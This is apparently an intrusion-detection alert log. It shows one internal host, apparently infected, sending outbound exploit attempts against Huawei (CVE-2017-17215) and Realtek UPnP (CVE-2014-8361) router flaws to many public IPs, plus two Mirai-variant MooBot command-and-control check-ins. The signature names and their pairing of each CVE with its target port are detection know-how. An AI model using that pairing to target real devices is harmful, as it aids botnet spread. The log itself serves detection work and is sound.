ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 105.235.42.192

Timestamp:	07/20/24-23:01:34.972618
SID:	2027339
Source Port:	41950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.159.57.3

Timestamp:	07/20/24-23:01:05.911930
SID:	2835222
Source Port:	43892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.157.252

Timestamp:	07/20/24-23:01:07.672387
SID:	2835222
Source Port:	35926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.39.188.191

Timestamp:	07/20/24-23:01:25.230327
SID:	2835222
Source Port:	41456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 14.177.37.112

Timestamp:	07/20/24-23:01:24.741442
SID:	2025132
Source Port:	35624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.95.27.148

Timestamp:	07/20/24-23:01:02.410541
SID:	2829579
Source Port:	53792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 59.161.187.149

Timestamp:	07/20/24-23:01:24.077306
SID:	2831300
Source Port:	38712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.47.221

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	43468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.7.39

Timestamp:	07/20/24-23:01:07.668438
SID:	2835222
Source Port:	48026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.116.60

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	57996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.239.43.227

Timestamp:	07/20/24-23:01:19.221647
SID:	2835222
Source Port:	50998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.228.42

Timestamp:	07/20/24-23:01:33.040755
SID:	2829579
Source Port:	52964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.237.3.78

Timestamp:	07/20/24-23:01:33.094838
SID:	2829579
Source Port:	59016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.81.103.110

Timestamp:	07/20/24-23:01:02.414850
SID:	2829579
Source Port:	54462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 173.148.234.198

Timestamp:	07/20/24-23:01:22.782671
SID:	2829579
Source Port:	56788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.102.92

Timestamp:	07/20/24-23:01:37.124220
SID:	2835222
Source Port:	52314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.241.73

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	42132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 117.101.242.241

Timestamp:	07/20/24-23:01:34.931386
SID:	2831300
Source Port:	34882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 148.132.169.125

Timestamp:	07/20/24-23:01:32.789082
SID:	2025132
Source Port:	42186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 170.123.158.68

Timestamp:	07/20/24-23:01:05.482928
SID:	2027339
Source Port:	38976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.118.43

Timestamp:	07/20/24-23:01:25.290247
SID:	2835222
Source Port:	47698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 152.71.212.76

Timestamp:	07/20/24-23:01:02.414687
SID:	2835222
Source Port:	59254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.120.237.5

Timestamp:	07/20/24-23:01:05.892501
SID:	2835222
Source Port:	33168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.131.193.232

Timestamp:	07/20/24-23:01:34.700035
SID:	2027339
Source Port:	42272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 203.116.243.30

Timestamp:	07/20/24-23:01:34.920870
SID:	2831300
Source Port:	48002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.11.176

Timestamp:	07/20/24-23:01:22.772933
SID:	2835222
Source Port:	48352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.120.214.221

Timestamp:	07/20/24-23:01:25.289824
SID:	2835222
Source Port:	39792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.61.149

Timestamp:	07/20/24-23:01:37.120542
SID:	2835222
Source Port:	33790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 217.24.35.60

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	54290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.134.44.79

Timestamp:	07/20/24-23:01:37.163818
SID:	2835222
Source Port:	41106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.174.147

Timestamp:	07/20/24-23:01:22.790734
SID:	2835222
Source Port:	57820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 41.37.91.19

Timestamp:	07/20/24-23:01:34.911761
SID:	2027339
Source Port:	52292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 121.241.252.236

Timestamp:	07/20/24-23:01:05.466055
SID:	2025132
Source Port:	60522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 145.114.175.209

Timestamp:	07/20/24-23:01:06.011856
SID:	2025132
Source Port:	45992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.140.168

Timestamp:	07/20/24-23:01:07.683360
SID:	2835222
Source Port:	60906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.88.55

Timestamp:	07/20/24-23:01:19.334468
SID:	2835222
Source Port:	51446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:25.970398
SID:	2030490
Source Port:	45718
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.39.55.1

Timestamp:	07/20/24-23:01:33.059039
SID:	2835222
Source Port:	60986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.162.217

Timestamp:	07/20/24-23:01:25.280228
SID:	2829579
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 24.110.26.135

Timestamp:	07/20/24-23:01:34.927043
SID:	2831300
Source Port:	59426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.233.41.33

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	47246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.42.133.249

Timestamp:	07/20/24-23:01:19.221490
SID:	2835222
Source Port:	48112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 47.7.230.238

Timestamp:	07/20/24-23:01:34.911249
SID:	2027339
Source Port:	48460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.75.84.143

Timestamp:	07/20/24-23:01:32.141563
SID:	2027339
Source Port:	58246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.122.12.187

Timestamp:	07/20/24-23:01:02.410932
SID:	2835222
Source Port:	45158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.16.177.241

Timestamp:	07/20/24-23:01:34.980138
SID:	2027339
Source Port:	59850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 110.2.88.21

Timestamp:	07/20/24-23:01:31.344728
SID:	2027339
Source Port:	54134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.140.146.21

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	59338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.1.252.213

Timestamp:	07/20/24-23:01:05.905239
SID:	2835222
Source Port:	54410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.120.80.178

Timestamp:	07/20/24-23:01:14.397786
SID:	2835222
Source Port:	36212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 53.62.238.12

Timestamp:	07/20/24-23:01:33.443703
SID:	2027339
Source Port:	37568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.204.106.94

Timestamp:	07/20/24-23:01:19.233961
SID:	2829579
Source Port:	60274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:40.208792
SID:	2030490
Source Port:	49582
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.123.112.202

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	53166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.46.157.85

Timestamp:	07/20/24-23:01:33.289515
SID:	2025132
Source Port:	41010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.118.43

Timestamp:	07/20/24-23:01:25.290247
SID:	2829579
Source Port:	47698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.194.34.140

Timestamp:	07/20/24-23:01:33.060990
SID:	2829579
Source Port:	45540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.3.152

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	52674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.75.218.237

Timestamp:	07/20/24-23:01:28.216082
SID:	2835222
Source Port:	42630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.20.249.180

Timestamp:	07/20/24-23:01:02.411644
SID:	2829579
Source Port:	57200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.88.114

Timestamp:	07/20/24-23:01:02.440622
SID:	2835222
Source Port:	45974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.122.25.2

Timestamp:	07/20/24-23:01:22.801376
SID:	2835222
Source Port:	44718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.225.129

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	39036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.240.97

Timestamp:	07/20/24-23:01:25.284909
SID:	2829579
Source Port:	52796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 128.10.172.66

Timestamp:	07/20/24-23:01:34.908059
SID:	2831300
Source Port:	36340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 124.114.110.102

Timestamp:	07/20/24-23:01:25.289824
SID:	2835222
Source Port:	38836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.215.172

Timestamp:	07/20/24-23:01:33.043558
SID:	2835222
Source Port:	57248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 8.55.90.119

Timestamp:	07/20/24-23:01:13.329800
SID:	2027339
Source Port:	47598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 93.255.94.157

Timestamp:	07/20/24-23:01:13.331144
SID:	2831300
Source Port:	47558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 35.247.69.244

Timestamp:	07/20/24-23:01:19.222378
SID:	2829579
Source Port:	35444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 74.251.145.25

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.142.189.209

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	46804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 170.186.56.154

Timestamp:	07/20/24-23:01:30.879044
SID:	2027339
Source Port:	43326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.18.46.46

Timestamp:	07/20/24-23:01:33.139994
SID:	2835222
Source Port:	49682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.29.111.74

Timestamp:	07/20/24-23:01:07.668439
SID:	2835222
Source Port:	48818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 190.101.187.66

Timestamp:	07/20/24-23:01:24.800803
SID:	2025132
Source Port:	52652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.227.16.28

Timestamp:	07/20/24-23:01:37.234827
SID:	2829579
Source Port:	46912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 173.77.175.8

Timestamp:	07/20/24-23:01:13.333147
SID:	2027339
Source Port:	45196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 27.8.13.50

Timestamp:	07/20/24-23:01:29.170361
SID:	2831300
Source Port:	47582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.109.143.30

Timestamp:	07/20/24-23:01:14.440842
SID:	2829579
Source Port:	47862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.255.157

Timestamp:	07/20/24-23:01:02.411645
SID:	2835222
Source Port:	47630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.23.36.31

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	54434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.34.240.214

Timestamp:	07/20/24-23:01:02.400873
SID:	2835222
Source Port:	44016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.243.36

Timestamp:	07/20/24-23:01:07.683360
SID:	2829579
Source Port:	45068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.125.148

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	54236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.205.158

Timestamp:	07/20/24-23:01:25.230310
SID:	2829579
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 147.70.92.77

Timestamp:	07/20/24-23:01:13.337402
SID:	2027339
Source Port:	49930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.45.111.26

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	46784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.53.96.150

Timestamp:	07/20/24-23:01:11.481655
SID:	2835222
Source Port:	41134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.4.32.65

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	39986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.71.112.133

Timestamp:	07/20/24-23:01:13.329009
SID:	2027339
Source Port:	39628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 194.152.67.254

Timestamp:	07/20/24-23:01:23.029917
SID:	2025132
Source Port:	51184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.105.139

Timestamp:	07/20/24-23:01:05.904128
SID:	2829579
Source Port:	42796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.242.45.146

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	60278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.151.202.253

Timestamp:	07/20/24-23:01:06.633248
SID:	2027339
Source Port:	57574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.131.141

Timestamp:	07/20/24-23:01:25.285323
SID:	2829579
Source Port:	59986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.73.176.224

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	38858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.156.21

Timestamp:	07/20/24-23:01:14.397066
SID:	2829579
Source Port:	38442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.105.210.14

Timestamp:	07/20/24-23:01:25.287093
SID:	2835222
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.79.219

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	59382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.210.219.152

Timestamp:	07/20/24-23:01:24.075727
SID:	2027339
Source Port:	60574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

